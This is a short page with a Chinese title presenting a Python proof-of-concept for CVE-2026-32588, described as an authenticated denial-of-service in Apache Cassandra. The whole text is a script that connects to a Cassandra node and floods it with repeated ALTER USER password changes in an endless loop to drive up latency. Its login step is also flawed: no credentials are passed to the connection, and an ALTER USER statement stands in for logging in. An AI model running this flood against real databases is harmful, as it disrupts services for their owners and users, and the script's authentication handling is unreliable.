CVE-2026-32588 Apache Cassandra 认证后DoS漏洞

# PoC for CVE-2026-32588 (Authenticated DoS in Apache Cassandra) # This script simulates repeated password changes to increase query latency. # Requires: pip install cassandra-driver from cassandra.cluster import Cluster import time TARGET_HOST = '127.0.0.1' TARGET_PORT = 9042 USERNAME = 'cassandra' PASSWORD = 'cassandra' print(f"[*] Connecting to {TARGET_HOST}:{TARGET_PORT}...") cluster = Cluster([TARGET_HOST], port=TARGET_PORT) session = cluster.connect() # Login using credentials session.execute(f"ALTER USER {USERNAME} WITH PASSWORD '{PASSWORD}'") print("[+] Connected. Starting DoS loop...") try: while True: # Repeatedly change the password to trigger the latency spike # In a real scenario, this loops indefinitely to degrade performance query = f"ALTER USER {USERNAME} WITH PASSWORD '{PASSWORD}'" session.execute(query) print(f"[+] Executed: {query} | Latency increasing...") time.sleep(0.1) # Minimal delay to flood the server except Exception as e: print(f"[-] Exception occurred: {e}") finally: cluster.shutdown() print("[*] Connection closed.")
